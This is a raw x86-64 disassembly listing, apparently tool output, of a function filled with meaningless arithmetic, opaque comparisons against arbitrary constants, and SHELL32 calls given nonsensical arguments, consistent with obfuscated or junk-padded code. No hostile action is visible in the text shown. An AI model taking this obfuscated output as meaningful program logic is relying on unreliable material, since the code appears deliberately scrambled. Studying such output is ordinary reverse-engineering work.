mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
and eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [0x1401c2a30]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4e70]
mov qword [rsp + 0x4ec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ec0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x29f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x134], al
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [0x1401a0008], al
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29ec], eax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [0x1401c3b10]
movzx ecx, al
mov rax, qword [rsp + 0x4d78]
shl rax, cl
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x134]
or eax, ecx
mov byte [rsp + 0x137], al
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb24], ax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov word [0x1401c2a30], ax
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb1c]
or eax, ecx
mov word [rsp + 0xb20], ax
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d78]
sar rax, cl
mov qword [0x1401c3b10], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movzx eax, byte [0x1401a0008]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x135], al
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb30]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a0008]
and eax, ecx
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c3b10], rax
cmp dword [rsp + 0x29d4], 0xe47e
ja 0x14005af54
movsx eax, word [rsp + 0xb20]
mov dword [rsp + 0x2a40], eax
cmp dword [rsp + 0x2a40], 0xc3
je 0x14005b4ec
jmp 0x14005b547
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shl eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x135], al
mov edx, PathMakeUniqueName
lea rcx, [rsp + 0x4e88]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2a20], eax
jmp 0x14014921f
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xb34], ax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x29d0]
cdq
mov rcx, qword [rsp + 0x4e90]
idiv dword [rcx]
mov ecx, dword [rsp + 0x29ec]
mov edx, dword [rsp + 0x29f8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005b735
movzx eax, byte [rsp + 0x132]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4de0]
jne 0x14005b6e4
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [rsp + 0xb18], ax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [str.3__nS_G], al
movzx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rdx, qword [0x1401c3b10]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005b6c4
mov eax, dword [rsp + 0x2974]
mov rcx, qword [rsp + 0x4e38]
mov qword [rsp + 0x4ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ec8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
jmp 0x14005b6e2
mov rax, qword [rsp + 0x4de0]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shl rax, cl
mov qword [rsp + 0x4d88], rax
jmp 0x14005b71f
lea rax, [rsp + 0x29c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x68
mov r9d, 0x30
mov r8d, 0xe8
mov edx, 0xb9
mov rcx, qword [rsp + 0x4ed0]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x2a48], eax
mov dword [rsp + 0x2a4c], 0x7506
mov dword [rsp + 0x2a50], 0xd8b4
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x4ed8], rax
movabs rax, 0x4a1648c0cc80b145
cmp qword [rsp + 0x4ed8], rax
je 0x14005b776
movabs rax, 0x7ee10ffd8ca0a658
cmp qword [rsp + 0x4ed8], rax
je 0x14005b86a
jmp 0x14005b91b
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [rsp + 0x2a54], al
cmp byte [rsp + 0x2a54], 0x89
je 0x14005b7a5
cmp byte [rsp + 0x2a54], 0xd4
je 0x14005b838
jmp 0x14005b865
movsx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb34], ax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2a48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov edx, dword [rsp + 0x28ac]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x14005b836
lea rcx, [rsp + 0x15280]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x4ee0], rax
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [rsp + 0x137], al
jmp 0x14005b865
lea r9, [rsp + 0x4d98]
lea r8, [rsp + 0x4eb0]
lea rdx, [rsp + 0x151b0]
lea rcx, [rsp + 0x15240]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2a1c], eax
jmp 0x14005b91b
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov dword [rsp + 0x2a58], eax
cmp dword [rsp + 0x2a58], 0x2277965d
je 0x14005b8b5
cmp dword [rsp + 0x2a58], 0x2e706f9a
je 0x14005b897
jmp 0x14005b8d2
movsx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c2a30], ax
jmp 0x14005b8d2
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
lea rcx, [rsp + 0x29ec]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4de0]
mov qword [rsp + 0x4ee8], rax
lea rax, [rsp + 0x2a44]
mov qword [rsp + 0x4ef0], rax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x4ef8], rax
movsx eax, word [0x1401c2a30]
movsx ecx, word [rsp + 0xb1c]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb20]
xor ecx, edx
cmp eax, ecx
jle 0x14005ba10
lea rax, [rsp + 0xb28]
mov qword [rsp + 0x4f00], rax
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x2a5c], eax
cmp dword [rsp + 0x2a5c], 0x52c5ddbc
je 0x14005b9be
jmp 0x14005b9ef
mov r9d, dword [rsp + 0x2974]
mov rax, qword [rsp + 0x4e38]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4eb8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4df0]
movzx ecx, byte [rax]
call fcn.14014bb40
nop
jmp 0x14005ba0b
mov rax, qword [rsp + 0x4e50]
movzx eax, byte [rax]
mov byte [0x1401c3b18], al
mov dword [rsp + 0x2a60], 0x55db
jmp 0x14005baee
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0xb18]
mov dword [rsp + 0x2a64], ecx
movzx edx, word [rsp + 0xb2c]
movzx ecx, dl
mov edx, dword [rsp + 0x2a64]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005baee
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb20]
and eax, ecx
movsx ecx, word [rsp + 0xb30]
mov rdx, qword [rsp + 0x4e88]
movsx edx, word [rdx]
imul ecx, edx
cmp eax, ecx
jne 0x14005baee
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
lea rdx, [rsp + 0xb2c]
lea rcx, [rsp + 0x151f0]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x4e80], rax
mov eax, dword [rsp + 0x29ec]
mov ecx, dword [rsp + 0x29d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a44], eax
mov eax, dword [rsp + 0x29f8]
mov dword [rsp + 0x2a68], eax
cmp dword [rsp + 0x2a68], 0x4eb44a5e
je 0x14005bb2e
cmp dword [rsp + 0x2a68], 0x6379a72d
je 0x14005bb1b
jmp 0x14005bc08
movzx ecx, word [rsp + 0xb20]
call fcn.14014a980
nop
jmp 0x14005bc08
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x4f08], rax
movabs rax, 0x3cdbb1ed1c771cc
cmp qword [rsp + 0x4f08], rax
je 0x14005bb71
jmp 0x14005bbd1
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movzx eax, word [rsp + 0xb28]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4e38]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4eb0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rax]
call fcn.14014af40
nop
jmp 0x14005bc08
lea rax, [rsp + 0x4e70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x15240]
lea r8, [rsp + 0x15240]
mov edx, 0xc4
lea rcx, [rsp + 0x151b0]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x2990], eax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov dword [rsp + 0x2a6c], eax
cmp dword [rsp + 0x2a6c], 0
je 0x14005bc29
jmp 0x140149039
movzx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x133]
add ecx, edx
cmp eax, ecx
je 0x14005bd0c
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
xor edx, edx
lea rcx, [rsp + 0x4e38]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2a1c], eax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov dword [rsp + 0x2a70], eax
cmp dword [rsp + 0x2a70], 0x4196695b
je 0x14005bcb6
jmp 0x14005bcd2
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2980], eax
jmp 0x14005bd0c
mov eax, dword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x29ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov dword [rsp + 0x2a74], 0xd05b
movzx eax, word [rsp + 0xb2c]
mov dword [rsp + 0x2a78], eax
cmp dword [rsp + 0x2a78], 0
je 0x14005bd35
jmp 0x14005be36
movsx eax, word [0x1401c2a30]
mov dword [rsp + 0x2a7c], eax
cmp dword [rsp + 0x2a7c], 0xffffffdc
je 0x14005be18
cmp dword [rsp + 0x2a7c], 0x3fa0
je 0x14005bd63
jmp 0x14005be34
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
lea r9, [rsp + 0x4e48]
lea r8, [rsp + 0x2a28]
lea rdx, [rsp + 0x138]
mov rcx, qword [rsp + 0x4e78]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x29c0], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4e38]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4db0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rax]
call fcn.14014af40
nop
jmp 0x14005be34
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c2a34], eax
jmp 0x14005be90
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x134]
or eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4e88]
movzx r8d, word [rax]
movzx edx, word [rsp + 0xb2c]
mov rax, qword [rsp + 0x4eb0]
movzx ecx, word [rax]
call fcn.14014b510
nop
mov rax, qword [rsp + 0x4d88]
mov qword [rsp + 0x4f10], rax
movabs rax, 0xbe75cfcb30830892
cmp qword [rsp + 0x4f10], rax
je 0x14005becd
movabs rax, 0xe97282898eca9d59
cmp qword [rsp + 0x4f10], rax
je 0x14005bee1
jmp 0x14005c074
lea rcx, [rsp + 0x4d78]
call qword [sym.imp.SHELL32.dll_ILFree]
nop
jmp 0x14005c074
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
sar eax, cl
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
movzx ecx, al
mov rax, qword [rsp + 0x4ee8]
shl rax, cl
mov qword [rsp + 0x4de0], rax
movsx eax, word [rsp + 0xb1c]
mov dword [rsp + 0x2a80], eax
cmp dword [rsp + 0x2a80], 0x4d7a
je 0x14005bf3f
jmp 0x14005c057
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov rdx, qword [rsp + 0x4e98]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jge 0x14005c055
lea rdx, [rsp + 0x4f18]
lea rcx, [rsp + 0x4f00]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x4f20], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401c3b10]
mov rdx, qword [rsp + 0x4d78]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14005c055
mov rax, qword [rsp + 0x4de0]
mov qword [rsp + 0x4f28], rax
movabs rax, 0x5d6b2f38dc9cbcaa
cmp qword [rsp + 0x4f28], rax
je 0x14005c028
movabs rax, 0x82344aae7de6b276
cmp qword [rsp + 0x4f28], rax
je 0x14005c006
jmp 0x14005c055
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
jmp 0x14005c055
lea r9, [rsp + 0x4d70]
lea r8, [rsp + 0x4f30]
lea rdx, [rsp + 0x15240]
mov rcx, qword [rsp + 0x4f30]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x2a84], eax
jmp 0x14005c074
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x29ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4ee8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov rdx, qword [rsp + 0x4d88]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14005c269
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
xor eax, ecx
movzx ecx, byte [rsp + 0x5f]
mov dword [rsp + 0x2a88], ecx
movzx edx, byte [rsp + 0x135]
movzx ecx, dl
mov edx, dword [rsp + 0x2a88]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14005c216
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov dword [rsp + 0x2a8c], eax
cmp dword [rsp + 0x2a8c], 0x13d1
je 0x14005c126
jmp 0x14005c1f5
lea rcx, [rsp + 0x137]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x2a90], eax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov dword [rsp + 0x2a94], eax
cmp dword [rsp + 0x2a94], 0x596
je 0x14005c1d7
cmp dword [rsp + 0x2a94], 0xe9d
je 0x14005c16c
jmp 0x14005c1f3
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
lea r9, [rsp + 0x29d0]
lea r8, [rsp + 0x4eb8]
lea rdx, [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4f38]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x2a98], eax
jmp 0x14005c1f3
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0x135], al
jmp 0x14005c214
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
jmp 0x14005c264
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
and eax, ecx
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4db0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005c264
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [rsp + 0xb24], ax
jmp 0x14005c467
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
mov dword [rsp + 0x2a9c], ecx
mov rdx, qword [rsp + 0x4dd8]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2a9c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005c467
mov eax, dword [rsp + 0x2a48]
mov dword [rsp + 0x2aa0], eax
cmp dword [rsp + 0x2aa0], 0
je 0x14005c2df
cmp dword [rsp + 0x2aa0], 0x6bb33f22
je 0x14005c447
jmp 0x14005c467
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov dword [rsp + 0x2aa4], eax
cmp dword [rsp + 0x2aa4], 0x56
je 0x14005c300
jmp 0x14005c445
movsx eax, word [rsp + 0xb28]
mov dword [rsp + 0x2aa8], eax
cmp dword [rsp + 0x2aa8], 0x221c
je 0x14005c321
jmp 0x14005c421
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4d78]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14005c3c4
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2980]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x4f40]
mov rcx, qword [rsp + 0x4f48]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x4f50], rax
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e90]
mov qword [rsp + 0x4f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a44], eax
jmp 0x14005c41f
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov rdx, qword [rsp + 0x4e70]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jne 0x14005c41f
mov rax, qword [rsp + 0x4f00]
